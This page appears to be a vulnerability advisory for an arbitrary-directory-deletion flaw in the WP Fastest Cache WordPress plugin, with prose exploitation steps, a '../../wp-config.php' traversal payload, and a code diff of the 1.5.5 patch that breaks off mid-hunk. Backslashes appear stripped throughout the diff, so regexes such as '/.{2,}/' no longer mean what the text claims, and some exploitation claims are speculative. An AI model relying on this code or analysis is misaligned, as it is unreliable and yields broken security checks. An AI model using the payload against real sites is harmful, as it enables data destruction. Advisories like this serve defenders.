Published : November 20, 2026

CVE-2026-119114: WP Fastest Cache <= 1.5.4 Unauthenticated Arbitrary Directory Deletion via Path Traversal via Permalink Path Traversal in singleDeleteCache / delete_next_prev_cache PoC, Patch Analysis & Rule

Severity High (CVSS 7.4)
CWE 22
Vulnerable Version 1.5.4
Patched Version 1.5.5
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-119114: This vulnerability allows unauthenticated attackers to delete arbitrary directories on a WordPress server running WP Fastest Cache versions up to and including 1.5.4. The flaw resides in the singleDeleteCache function, which consumes a permalink value that may contain path traversal sequences. When the Custom Permalinks or GeoDirectory plugin is co-installed, an attacker can inject a malicious permalink that, when processed by WP Fastest Cache, leads to directory deletion outside the cache directories. The CVSS score is 7.4 (High), reflecting the potential for remote code execution if critical files like wp-config.php are deleted.

Root Cause: The root cause is insufficient validation of file paths in the singleDeleteCache function (and related cache deletion paths) in wpFastestCache.php. Specifically, the function obtains a permalink via get_permalink($post_id), applies urldecode, and then uses it to construct filesystem paths without adequately checking for directory traversal sequences. The vulnerable code constructs paths like $this->getWpContentDir(“/cache/all/”).$out[1] and then calls rm_folder_recursively on them. An attacker can influence the permalink structure through plugins like Custom Permalinks or GeoDirectory, which allow storing arbitrary permalink patterns. For example, a permalink containing “../” can escape the intended cache directory. The patch introduces a new helper function delete_cache_variants that performs a regex check for two or more consecutive dots (.{2,}) and dies if found, and also normalizes the path by trimming leading slashes. This centralizes and strengthens the security check, whereas previously some code paths lacked this protection (e.g., the singleDeleteCache function did not validate $out[1] before using it).

Exploitation: An attacker can exploit this by first ensuring that a plugin like Custom Permalinks is active, which allows setting a custom permalink structure containing traversal sequences. The attacker then triggers a cache deletion action that calls singleDeleteCache with a post ID whose permalink includes the malicious traversal. For instance, the attacker could set a permalink like “../../wp-config.php” (or a directory like “../../”) and then cause the plugin to delete the cache for that post, typically by updating the post or via a comment. Because the plugin does not validate the permalink path, it will construct a path such as /wp-content/cache/all/../../wp-config.php and recursively delete the wp-config.php file (or its containing directory). The attack requires no authentication. Alternatively, the attacker might directly manipulate the permalink via the vulnerable plugin’s functionality, then trigger cache clearing through a public-facing action such as a comment submission (which triggers singleDeleteCache for the post). The patch’s added die() on traversal detection confirms that path traversal is the intended attack vector.

Patch Analysis: The patch (version 1.5.5) introduces a new private method delete_cache_variants($relative_path) that consolidates cache deletion logic. Crucially, it performs a security check: if(preg_match(“/.{2,}/”, $relative_path)) { die(“May be Directory Traversal Attack”); }. This check is applied to all paths passed to delete_cache_variants, including those derived from permalinks in singleDeleteCache. Additionally, the function trims leading slashes and then constructs the full paths for both standard and mobile caches. The patch also replaces many scattered deletion routines with calls to this centralized function, ensuring consistent validation. Before the patch, the singleDeleteCache function directly used $out[1] (from the permalink) without any traversal check, and other functions like rm_folder_recursively were called on unvalidated paths. The patch prevents traversal by rejecting any path containing “..”. It also removes the move_folder_to_tmpWpfc function and directly deletes via rename to a temporary file, which is safer. The patch effectively mitigates the vulnerability by enforcing path validation at a single choke point.

Impact: Successful exploitation allows an unauthenticated attacker to delete arbitrary directories on the server, including critical WordPress files and directories. Deleting wp-config.php can lead to a denial of service or, if the attacker can then trigger a WordPress re-installation, potentially achieve remote code execution by injecting a new configuration. The vulnerability can also be used to delete other sensitive files, leading to data loss or further compromise. Given the CVSS score of 7.4, the impact is considered high, especially in shared hosting environments where file permissions may allow deletion of files outside the web root.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-fastest-cache/inc/admin.php
+++ b/wp-fastest-cache/inc/admin.php
@@ -827,7 +827,11 @@
 			}

 			$query_string = "RewriteCond %{QUERY_STRING} !.+ [OR]"."n".
-							"RewriteCond %{QUERY_STRING} (?:^|&)(?:fbclid|yclid|yadclid|ymclid|ysclid|yzclid|yqrid|ybaip|etext)="." [NC]n";
+							"RewriteCond %{QUERY_STRING} (?:^|&)".WPFC_FACEBOOK_QUERY_PARAM_PATTERN."="." [NC,OR]n".
+							"RewriteCond %{QUERY_STRING} (?:^|&)(?:".WPFC_YANDEX_QUERY_PARAM_PATTERN.")="." [NC,OR]n".
+							"RewriteCond %{QUERY_STRING} (?:^|&)".WPFC_GOOGLE_ANALYTICS_QUERY_PARAM_PATTERN."="." [NC,OR]n".
+							"RewriteCond %{QUERY_STRING} (?:^|&)".WPFC_GOOGLE_ADS_QUERY_PARAM_PATTERN."="." [NC,OR]n".
+							"RewriteCond %{QUERY_STRING} (?:^|&)".WPFC_GOOGLE_MERCHANT_QUERY_PARAM_PATTERN."="." [NC]n";

 			$data = "# BEGIN WpFastestCache"."n".
 					"# Modified Time: ".date("d-m-y G:i:s", current_time('timestamp'))."n".
@@ -866,6 +870,17 @@
 			}

 			$data = $data.'RewriteRule ^(.*) "/'.$this->getRewriteBase().WPFC_WP_CONTENT_BASENAME.$cache_path.$this->getRewriteBase(true).'$1/index.html" [L]'."n";
+
+			// XML responses are stored as index.xml. Keep them on the web server
+			// path as well so sitemap/feed requests do not fall back to PHP.
+			if(ABSPATH == "//"){
+				$data = $data."RewriteCond %{DOCUMENT_ROOT}/".WPFC_WP_CONTENT_BASENAME.$cache_path."$1/index.xml -f"."n";
+			}else{
+				$data = $data."RewriteCond %{DOCUMENT_ROOT}/".WPFC_WP_CONTENT_BASENAME.$cache_path."$1/index.xml -f [or]"."n";
+				$data = $data."RewriteCond ".$tmp_WPFC_WP_CONTENT_DIR.$cache_path.$this->getRewriteBase(true)."$1/index.xml -f"."n";
+			}
+
+			$data = $data.'RewriteRule ^(.*) "/'.$this->getRewriteBase().WPFC_WP_CONTENT_BASENAME.$cache_path.$this->getRewriteBase(true).'$1/index.xml" [L]'."n";

 			//RewriteRule !/  "/wp-content/cache/all/index.html" [L]

@@ -2004,6 +2019,7 @@
 										<option value="regex">Regular Expression</option>

 										<option value="googleanalytics"><?php _e("has Google Analytics Parameters", "wp-fastest-cache"); ?></option>
+										<option value="googleads"><?php _e("has Google Ads Parameters", "wp-fastest-cache"); ?></option>
 										<option value="yandexclickid"><?php _e("has Yandex Metrica Parameters", "wp-fastest-cache"); ?></option>
 										<option value="facebookclickid"><?php _e("has Facebook Click ID Parameters", "wp-fastest-cache"); ?></option>
 										<option value="woocommerce_items_in_cart"><?php _e("has Woocommerce Items in Cart", "wp-fastest-cache"); ?></option>
--- a/wp-fastest-cache/inc/cache.php
+++ b/wp-fastest-cache/inc/cache.php
@@ -175,17 +175,17 @@
 						if(!preg_match("//$/", $_SERVER["REQUEST_URI"])){
 							if($this->has_cacheable_query_string_params()){

-							}else if(preg_match("/[?&](y(?:ad|m|s|z)?clid|yqrid|ybaip|etext)=/i", $this->cacheFilePath)){
+							}else if(preg_match("/[?&](".WPFC_YANDEX_QUERY_PARAM_PATTERN.")=/i", $this->cacheFilePath)){
 								// yclid
 								// yadclid
 								// ysclid
-							}else if(preg_match("/gclid=/i", $this->cacheFilePath)){
+							}else if(preg_match("/".WPFC_GOOGLE_ADS_QUERY_PARAM_PATTERN."=/i", $this->cacheFilePath)){

-							}else if(preg_match("/fbclid=/i", $this->cacheFilePath)){
+							}else if(preg_match("/".WPFC_FACEBOOK_QUERY_PARAM_PATTERN."=/i", $this->cacheFilePath)){

-							}else if(preg_match("/utm_(source|medium|campaign|content|term)/i", $this->cacheFilePath)){
+							}else if(preg_match("/".WPFC_GOOGLE_ANALYTICS_QUERY_PARAM_PATTERN."/i", $this->cacheFilePath)){

-							}else if(preg_match("/srsltid=/i", $this->cacheFilePath)){
+							}else if(preg_match("/".WPFC_GOOGLE_MERCHANT_QUERY_PARAM_PATTERN."=/i", $this->cacheFilePath)){

 							}else{
 								$this->cacheFilePath = false;
@@ -242,7 +242,7 @@
 				foreach ($query_params as $key => $query_param) {

 					// Google Ads Click & Conversion Parameters
-					if(preg_match("/^(gclid|gbraid|wbraid|gclsrc)=/i", $query_param)){
+					if(preg_match("/^(".WPFC_GOOGLE_ADS_QUERY_PARAM_PATTERN.")=/i", $query_param)){
 						continue;
 					}

@@ -252,17 +252,17 @@
 					}

 					// Google UTM Campaign Parameters
-					if(preg_match("/^utm_(source|medium|campaign|content|term)/i", $query_param)){
+					if(preg_match("/^".WPFC_GOOGLE_ANALYTICS_QUERY_PARAM_PATTERN."=/i", $query_param)){
 						continue;
 					}

 					// Google Merchant Center
-					if(preg_match("/^srsltid=/i", $query_param)){
+					if(preg_match("/^".WPFC_GOOGLE_MERCHANT_QUERY_PARAM_PATTERN."=/i", $query_param)){
 						continue;
 					}

 					//to remove query strings for cache if Yandex parameters are set
-					if(preg_match("/^(y(?:ad|m|s|z)?clid|yqrid|ybaip|etext)=/i", $query_param)){
+					if(preg_match("/^(".WPFC_YANDEX_QUERY_PARAM_PATTERN.")=/i", $query_param)){
 						// yclid
 						// yadclid
 						// ysclid
@@ -271,7 +271,7 @@
 					}

 					//to remove query strings for cache if facebook parameters are set
-					if(preg_match("/^fbclid=/i", $query_param)){
+					if(preg_match("/^".WPFC_FACEBOOK_QUERY_PARAM_PATTERN."=/i", $query_param)){
 						continue;
 					}

@@ -685,7 +685,7 @@
 					$value->type = isset($value->type) ? $value->type : "page";

 					if($value->prefix == "yandexclickid"){
-						if(preg_match("/[?&](y(?:ad|m|s|z)?clid|yqrid|ybaip|etext)=/i", $request_url)){
+						if(preg_match("/[?&](".WPFC_YANDEX_QUERY_PARAM_PATTERN.")=/i", $request_url)){
 							// yclid
 							// yadclid
 							// ysclid
@@ -693,11 +693,15 @@
 							return true;
 						}
 					}else if($value->prefix == "googleanalytics"){
-						if(preg_match("/utm_(source|medium|campaign|content|term)/i", $request_url)){
+						if(preg_match("/".WPFC_GOOGLE_ANALYTICS_QUERY_PARAM_PATTERN."/i", $request_url)){
+							return true;
+						}
+					}else if($value->prefix == "googleads"){
+						if(preg_match("/(?:^|[?&])".WPFC_GOOGLE_ADS_QUERY_PARAM_PATTERN."=/i", $request_url)){
 							return true;
 						}
 					}else if($value->prefix == "facebookclickid"){
-						if(preg_match("/(?:^|[?&])fbclid=/i", $request_url)){
+						if(preg_match("/(?:^|[?&])".WPFC_FACEBOOK_QUERY_PARAM_PATTERN."=/i", $request_url)){
 							return true;
 						}
 					}else if(isset($value->prefix) && $value->prefix && ($value->type == "page")){
@@ -1097,9 +1101,11 @@
 						return $buffer."<!-- Cache has NOT been created due to optimized resource -->";
 					}

+                    /*
 					if($this->has_non_cacheable_headers()){
-						return $content;
+						return $content."<!-- Cache has NOT been created due to non-cacheable headers -->";
 					}
+                    */

 					if($this->cacheFilePath){
 						if($this->is_html()){
--- a/wp-fastest-cache/templates/exclude.php
+++ b/wp-fastest-cache/templates/exclude.php
@@ -111,6 +111,7 @@

 										    				<optgroup label="Special">
 										    					<option value="googleanalytics"><?php _e("has Google Analytics Parameters", "wp-fastest-cache"); ?></option>
+																												<option value="googleads"><?php _e("has Google Ads Parameters", "wp-fastest-cache"); ?></option>
 													<option value="yandexclickid"><?php _e("has Yandex Metrica Parameters", "wp-fastest-cache"); ?></option>
 													<option value="facebookclickid"><?php _e("has Facebook Click ID Parameters", "wp-fastest-cache"); ?></option>
 										    					<option value="woocommerce_items_in_cart"><?php _e("has Woocommerce Items in Cart", "wp-fastest-cache"); ?></option>
@@ -197,7 +198,7 @@
 				var clone_modal_id = "wpfc-modal-exclude-" + new Date().getTime();

 				clone_modal.find("select").change(function(e){
-					if(jQuery(this).val().match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
+					if(jQuery(this).val().match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|googleads|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
 						clone_modal.find("input[name='wpfc-exclude-rule-content']").closest("td").hide();
 						clone_modal.find("input[name='wpfc-exclude-rule-content']").val(jQuery(this).val());

@@ -213,7 +214,7 @@
 				});


-				if(e.prefix.match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
+				if(e.prefix.match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|googleads|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
 					clone_modal.find("input[name='wpfc-exclude-rule-content']").closest("td").hide();

 					clone_modal.find("select").closest("td").width(395);
@@ -338,6 +339,8 @@
 				return "Attachments";
 			}else if(text == "googleanalytics"){
 				return "Google Analytics Parameters";
+			}else if(text == "googleads"){
+				return "Google Ads Parameters";
 			}else if(text == "yandexclickid"){
 				return "Yandex Metrica Parameters";
 			}else if(text == "facebookclickid"){
@@ -381,7 +384,7 @@
 				}

 				if(type == "page" || type == "css" || type == "js"){
-					if(prefix.match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
+					if(prefix.match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|googleads|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
 						if(prefix == "homepage"){
 							return "The " + b_start + "homepage" + b_end + " has been excluded";
 						}else{
@@ -451,7 +454,7 @@


 				clone_modal.find("select").change(function(){
-					if(jQuery(this).val().match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
+					if(jQuery(this).val().match(/^(homepage|category|tag|archive|post|page|attachment|googleanalytics|googleads|yandexclickid|facebookclickid|woocommerce_items_in_cart)$/)){
 						clone_modal.find("input[name='wpfc-exclude-rule-content']").closest("td").hide();
 						clone_modal.find("input[name='wpfc-exclude-rule-content']").val(jQuery(this).val());

--- a/wp-fastest-cache/wpFastestCache.php
+++ b/wp-fastest-cache/wpFastestCache.php
@@ -3,7 +3,7 @@
 Plugin Name: WP Fastest Cache
 Plugin URI: http://wordpress.org/plugins/wp-fastest-cache/
 Description: The simplest and fastest WP Cache system
-Version: 1.5.4
+Version: 1.5.5
 Author: Emre Vona
 Author URI: https://www.wpfastestcache.com/
 Text Domain: wp-fastest-cache
@@ -39,6 +39,26 @@
 		define("WPFC_MAIN_PATH", plugin_dir_path( __FILE__ ));
 	}

+	if (!defined('WPFC_FACEBOOK_QUERY_PARAM_PATTERN')) {
+		define("WPFC_FACEBOOK_QUERY_PARAM_PATTERN", "fbclid");
+	}
+
+	if (!defined('WPFC_YANDEX_QUERY_PARAM_PATTERN')) {
+		define("WPFC_YANDEX_QUERY_PARAM_PATTERN", "yclid|yadclid|ymclid|ysclid|yzclid|yqrid|ybaip|etext");
+	}
+
+	if (!defined('WPFC_GOOGLE_ANALYTICS_QUERY_PARAM_PATTERN')) {
+		define("WPFC_GOOGLE_ANALYTICS_QUERY_PARAM_PATTERN", "utm_(?:source|medium|campaign|term|content)");
+	}
+
+	if (!defined('WPFC_GOOGLE_ADS_QUERY_PARAM_PATTERN')) {
+		define("WPFC_GOOGLE_ADS_QUERY_PARAM_PATTERN", "gclid|gbraid|wbraid|gclsrc");
+	}
+
+	if (!defined('WPFC_GOOGLE_MERCHANT_QUERY_PARAM_PATTERN')) {
+		define("WPFC_GOOGLE_MERCHANT_QUERY_PARAM_PATTERN", "srsltid");
+	}
+
 	include_once WPFC_MAIN_PATH . 'inc/security.php';

 	if(!isset($GLOBALS["wp_fastest_cache_options"])){
@@ -233,7 +253,7 @@
 				add_action('transition_post_status',  array($this, 'on_all_status_transitions'), 10, 3 );

 				// when the regular price is updated, the "transition_post_status" action cannot catch it
-				add_action('woocommerce_update_product',  array($this, 'clear_cache_after_woocommerce_update_product'), 10, 1);
+				add_action('woocommerce_product_object_updated_props',  array($this, 'clear_cache_after_woocommerce_update_product'), 10, 2);

 				$this->commentHooks();

@@ -343,21 +363,7 @@

             $path = urldecode($path);

-            if (strpos($path, '..') !== false) {
-                return false;
-            }
-
-            $cache_path = $this->getWpContentDir("/cache/all/" . $path);
-            $mobile_cache_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/" . $path);
-
-
-            if(file_exists($cache_path)){
-                @unlink($cache_path);
-            }
-
-            if(file_exists($mobile_cache_path)){
-                @unlink($mobile_cache_path);
-            }
+			$this->delete_cache_variants($path);

         }

@@ -967,11 +973,11 @@

 				if(isset($url["path"])){
 					if($url["path"] == "/"){
-						$this->rm_folder_recursively($this->getWpContentDir("/cache/all/index.html"));
+						$this->delete_cache_variants("index.html");
 					}else{
 						// to prevent changing path with ../ or with another method
 						if($url["path"] == realpath(".".$url["path"])){
-							$this->rm_folder_recursively($this->getWpContentDir("/cache/all").$url["path"]);
+							$this->delete_cache_variants($url["path"]);
 						}
 					}
 				}
@@ -1197,48 +1203,22 @@
 				die(json_encode(array("Security Error!", "error", "alert")));
 			}

-			if($varnish_datas = get_option("WpFastestCacheVarnish")){
-				include_once('inc/varnish.php');
-				VarnishWPFC::purge_cache($varnish_datas);
-			}
-
-			include_once('inc/cdn.php');
-			CdnWPFC::cloudflare_clear_cache();
+			$this->purge_external_cache();

 			if(isset($_GET["path"])){
-				if($_GET["path"]){
-					if($_GET["path"] == "/"){
-						$_GET["path"] = $_GET["path"]."index.html";
+				$cache_path = $_GET["path"];
+
+				if($cache_path){
+					if($cache_path == "/"){
+						$cache_path .= "index.html";
 					}
 				}else{
-					$_GET["path"] = "/index.html";
-				}
-
-				$_GET["path"] = urldecode(esc_url_raw($_GET["path"]));
-
-				// for security
-				if(preg_match("/.{2,}/", $_GET["path"])){
-					die("May be Directory Traversal Attack");
+					$cache_path = "/index.html";
 				}

-				$paths = array();
+				$cache_path = urldecode(esc_url_raw($cache_path));

-				array_push($paths, $this->getWpContentDir("/cache/all").$_GET["path"]);
-
-				if(class_exists("WpFcMobileCache")){
-					$wpfc_mobile = new WpFcMobileCache();
-					array_push($paths, $this->getWpContentDir("/cache/wpfc-mobile-cache").$_GET["path"]);
-				}
-
-				foreach ($paths as $key => $value){
-					if(file_exists($value)){
-						if(preg_match("//(all|wpfc-mobile-cache)/index.html$/i", $value)){
-							@unlink($value);
-						}else{
-							$this->rm_folder_recursively($value);
-						}
-					}
-				}
+				$this->delete_cache_variants($cache_path);

 				$this->delete_multiple_domain_mapping_cache();

@@ -1381,12 +1361,51 @@
 			}
 		}

-		public function clear_cache_after_woocommerce_update_product($product_id){
-			if(!$this->deleted_before){
-				$this->singleDeleteCache(false, $product_id);
-			}
+		public function clear_cache_after_woocommerce_update_product($product, $updated_props) {
+
+            $product_ids = array();
+            $product_id = $product->get_id();
+
+            if(!$this->deleted_before){
+                // The product cache is already cleared when updated via wp-admin, so we have to check it
+                $product_ids = array($product_id);
+            }
+
+            if ( array_intersect( array('regular_price', 'sale_price'), (array) $updated_props) ) {
+
+                // WPML stores each translated product as a separate post. Clear the
+                // cache for every translation when the product price changes.
+                if($product_id && $this->isPluginActive('sitepress-multilingual-cms/sitepress.php')){
+                    $active_languages = apply_filters('wpml_active_languages', null, array('skip_missing' => 0));
+
+                    if(is_array($active_languages)){
+
+                        foreach($active_languages as $language_code => $language){
+                            $translated_product_id = apply_filters(
+                                'wpml_object_id',
+                                $product_id,
+                                'product',
+                                false,
+                                $language_code
+                            );
+
+                            if($translated_product_id && $translated_product_id != $product_id){
+                                $product_ids[] = (int) $translated_product_id;
+                            }
+                        }
+
+                    }
+                }
+
+            }
+
+            foreach(array_unique($product_ids) as $translated_product_id){
+                $this->singleDeleteCache(false, $translated_product_id);
+            }
+
 		}

+
 		public function on_all_status_transitions($new_status, $old_status, $post){
 			$this->deleted_before = true;

@@ -1519,37 +1538,14 @@

 					if(preg_match("/https?://[^/]+/(.+)/", $value->url, $out)){

-						if(preg_match("/.{2,}/", $out[1])){
-							// to prevent Directory Traversal Attack
-							continue;
-						}
-
 						if(preg_match("//(.*)/", $out[1])){
 							$out[1] = str_replace("(.*)", "", $out[1]);

-							$path = $this->getWpContentDir("/cache/all/").$out[1];
-							$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
+							$this->delete_cache_variants($out[1]);
 						}else{
 							$out[1] = $out[1]."index.html";

-							$path = $this->getWpContentDir("/cache/all/").$out[1];
-							$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
-						}
-
-						if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
-							@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true);
-						}
-
-						if(is_dir($path)){
-							rename($path, $this->getWpContentDir("/cache/tmpWpfc/").time());
-						}else if(is_file($path)){
-							@unlink($path);
-						}
-
-						if(is_dir($mobile_path)){
-							rename($mobile_path, $this->getWpContentDir("/cache/tmpWpfc/mobile_").time());
-						}else if(is_file($mobile_path)){
-							@unlink($mobile_path);
+							$this->delete_cache_variants($out[1]);
 						}

 					}
@@ -1559,13 +1555,7 @@
 		}

 		public function singleDeleteCache($comment_id = false, $post_id = false, $to_clear_parents = true){
-			if($varnish_datas = get_option("WpFastestCacheVarnish")){
-				include_once('inc/varnish.php');
-				VarnishWPFC::purge_cache($varnish_datas);
-			}
-
-			include_once('inc/cdn.php');
-			CdnWPFC::cloudflare_clear_cache();
+			$this->purge_external_cache();

 			$to_clear_feed = true;

@@ -1610,8 +1600,6 @@

 				$permalink = urldecode(get_permalink($post_id));

-
-
 				//for trash contents
 				if(preg_match("//?(p|page_id)=d+/i", $permalink)){
 					$post = get_post($post_id);
@@ -1627,11 +1615,7 @@
 					$permalink = preg_replace("/__trashed/(d+)$/", "/$1", $permalink);
 				}

-
-
 				if(preg_match("/https?://[^/]+/(.+)/", $permalink, $out)){
-					$path = $this->getWpContentDir("/cache/all/").$out[1];
-					$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];

 					if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){
 						include_once $this->get_premium_path("logs.php");
@@ -1639,44 +1623,19 @@
 						$log->action();
 					}

-					$files = array();
-
-					if(is_dir($path)){
-						array_push($files, $path);
-					}
-
-					if(is_dir($mobile_path)){
-						array_push($files, $mobile_path);
-					}
-
-					if( defined('WPFC_CACHE_QUERYSTRING_PARAMS') && WPFC_CACHE_QUERYSTRING_PARAMS ){
-						$files_with_query_string = glob($path."?*");
-						$mobile_files_with_query_string = glob($mobile_path."?*");
-
-						if(is_array($files_with_query_string) && (count($files_with_query_string) > 0)){
-							$files = array_merge($files, $files_with_query_string);
-						}
-
-						if(is_array($mobile_files_with_query_string) && (count($mobile_files_with_query_string) > 0)){
-							$files = array_merge($files, $mobile_files_with_query_string);
-						}
-					}
+                    $this->delete_cache_variants($out[1]);

 					if($to_clear_feed){
 						// to clear cache of /feed
 						if(preg_match("/https?://[^/]+/(.+)/", get_feed_link(), $feed_out)){
-							array_push($files, $this->getWpContentDir("/cache/all/").$feed_out[1]);
+							$this->delete_cache_variants($feed_out[1]);
 						}

 						// to clear cache of /comments/feed/
 						if(preg_match("/https?://[^/]+/(.+)/", get_feed_link("comments_"), $comment_feed_out)){
-							array_push($files, $this->getWpContentDir("/cache/all/").$comment_feed_out[1]);
+							$this->delete_cache_variants($comment_feed_out[1]);
 						}
 					}
-
-					foreach((array)$files as $file){
-						$this->rm_folder_recursively($file);
-					}
 				}

 				if($to_clear_parents){
@@ -1721,16 +1680,7 @@
 					$permalink = urldecode(get_permalink($value->ID));

 					if(preg_match("/https?://[^/]+/(.+)/", $permalink, $out)){
-						$path = $this->getWpContentDir("/cache/all/").$out[1];
-						$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
-
-						if(is_dir($path)){
-							$this->rm_folder_recursively($path);
-						}
-
-						if(is_dir($mobile_path)){
-							$this->rm_folder_recursively($mobile_path);
-						}
+						$this->delete_cache_variants($out[1]);
 					}
 				}

@@ -1764,9 +1714,11 @@
 								}
 							}
 						}else{
-							$mapping_domain_path = preg_replace("/(/cache/[^/]+/all)/", "/cache/".$mapping_value["domain"]."/all", $this->getWpContentDir("/cache/all/index.html"));
+							$cache_file = $this->getWpContentDir("/cache/".$mapping_value["domain"]."/all/index.html");

-							@unlink($mapping_domain_path);
+							if(file_exists($cache_file)){
+								unlink($cache_file);
+							}
 						}
 					}
 				}
@@ -1778,39 +1730,7 @@
 			$permalink = get_author_posts_url($author_id);

 			if(preg_match("/https?://[^/]+/(.+)/", $permalink, $out)){
-				$path = $this->getWpContentDir("/cache/all/").$out[1];
-				$mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
-
-				$this->move_folder_to_tmpWpfc($path);
-				$this->move_folder_to_tmpWpfc($mobile_path);
-			}
-		}
-
-		public function move_folder_to_tmpWpfc($path = false){
-			if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
-				@mkdir($this->getWpContentDir("/cache/tmpWpfc"), 0755, true);
-			}
-
-			if(!$path){
-				return false;
-			}
-
-			if(!is_dir($this->getWpContentDir("/cache/tmpWpfc"))){
-				return false;
-			}
-
-			if(is_dir($path)){
-				preg_match("//([^/]+)/?$/", $path, $type);
-
-				if(isset($type[1])){
-					if(preg_match("//cache/wpfc-mobile-cache//", $path)){
-						$type[1] = "m_".$type[1];
-					}
-
-					$move_to = $this->getWpContentDir("/cache/tmpWpfc/").$type[1]."_".time();
-
-					rename($path, $move_to);
-				}
+				$this->delete_cache_variants($out[1]);
 			}
 		}

@@ -1831,22 +1751,13 @@
 				$path = urldecode($path);

 				// to remove the cache of tag/cat
-				if(file_exists($this->getWpContentDir("/cache/all/").$path."/index.html")){
-					@unlink($this->getWpContentDir("/cache/all/").$path."/index.html");
-				}
-
-				if(file_exists($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/index.html")){
-					@unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/index.html");
-				}
-
+				$this->delete_cache_variants($path."/index.html");

 				// to remove the cache of the pages
-				$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$path."/page");
-				$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/page");
+				$this->delete_cache_variants($path."/page");

 				// to remove the cache of the feeds
-				$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$path."/feed");
-				$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$path."/feed");
+				$this->delete_cache_variants($path."/feed");
 			}

 			if($term->parent > 0){
@@ -1858,13 +1769,11 @@
 			}
 		}

-		public function unlink($path){
-			if(file_exists($path)){
-				unlink($path);
-			}
-		}
-
-		public function deleteHomePageCache($log = true){
+		/**
+		 * Purges cache layers outside WP Fastest Cache before local cache files
+		 * are removed.
+		 */
+		private function purge_external_cache(){
 			if($varnish_datas = get_option("WpFastestCacheVarnish")){
 				include_once('inc/varnish.php');
 				VarnishWPFC::purge_cache($varnish_datas);
@@ -1872,6 +1781,37 @@

 			include_once('inc/cdn.php');
 			CdnWPFC::cloudflare_clear_cache();
+		}
+
+		private function delete_cache_variants($relative_path){
+
+            // for security
+            if(preg_match("/.{2,}/", $relative_path)){
+                die("May be Directory Traversal Attack");
+            }
+
+			$relative_path = ltrim($relative_path, "/");
+			$paths = array(
+				$this->getWpContentDir("/cache/all/").$relative_path,
+				$this->getWpContentDir("/cache/wpfc-mobile-cache/").$relative_path
+			);
+			$tmp_path = $this->getWpContentDir("/cache/tmpWpfc");
+
+			if(!is_dir($tmp_path)){
+				@mkdir($tmp_path, 0755, true);
+			}
+
+			foreach($paths as $path){
+				if(file_exists($path)){
+					$tmp_file = $tmp_path."/".basename($path)."-".str_replace(".", "", (string)microtime(true));
+
+					@rename($path, $tmp_file);
+				}
+			}
+		}
+
+		public function deleteHomePageCache($log = true){
+			$this->purge_external_cache();

 			$site_url_path = preg_replace("/https?://[^/]+/i", "", site_url());
 			$home_url_path = preg_replace("/https?://[^/]+/i", "", home_url());
@@ -1880,12 +1820,9 @@
 				$site_url_path = trim($site_url_path, "/");

 				if($site_url_path){
-					$this->unlink($this->getWpContentDir("/cache/all/").$site_url_path."/index.html");
-					$this->unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$site_url_path."/index.html");
-
+						$this->delete_cache_variants($site_url_path."/index.html");
 					//to clear pagination of homepage cache
-					$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$site_url_path."/page");
-					$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$site_url_path."/page");
+					$this->delete_cache_variants($site_url_path."/page");
 				}
 			}

@@ -1893,12 +1830,9 @@
 				$home_url_path = trim($home_url_path, "/");

 				if($home_url_path){
-					$this->unlink($this->getWpContentDir("/cache/all/").$home_url_path."/index.html");
-					$this->unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$home_url_path."/index.html");
-
+						$this->delete_cache_variants($home_url_path."/index.html");
 					//to clear pagination of homepage cache
-					$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$home_url_path."/page");
-					$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$home_url_path."/page");
+					$this->delete_cache_variants($home_url_path."/page");
 				}
 			}

@@ -1910,28 +1844,17 @@
 						$store_url_path = trim($store_url_path, "/");

 						if($store_url_path){
-							if(file_exists($this->getWpContentDir("/cache/all/").$store_url_path."/index.html")){
-								@unlink($this->getWpContentDir("/cache/all/").$store_url_path."/index.html");
-							}
-
-							if(file_exists($this->getWpContentDir("/cache/wpfc-mobile-cache/").$store_url_path."/index.html")){
-								@unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$store_url_path."/index.html");
-							}
-
+								$this->delete_cache_variants($store_url_path."/index.html");
 							//to clear pagination of store homepage cache
-							$this->rm_folder_recursively($this->getWpContentDir("/cache/all/").$store_url_path."/page");
